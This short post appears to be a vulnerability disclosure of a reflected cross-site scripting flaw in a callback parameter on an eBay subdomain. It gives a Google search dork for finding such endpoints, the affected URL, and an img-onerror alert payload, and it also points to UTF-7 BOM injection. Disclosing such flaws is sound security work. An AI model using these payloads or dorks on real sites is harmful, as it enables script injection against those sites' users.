sea.ebay.com Cross Site Scripting

"site:ebay.com inurl:callback" on google.com and get this url: http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=? then http://sea.ebay.com/jplocal/campany/getcampnum.php?callback=?xxxx%3Cimg%20src=1%20onerror=alert1%3E ofcourse u can use 《xss attacks through utf7-BOM string injection》 ...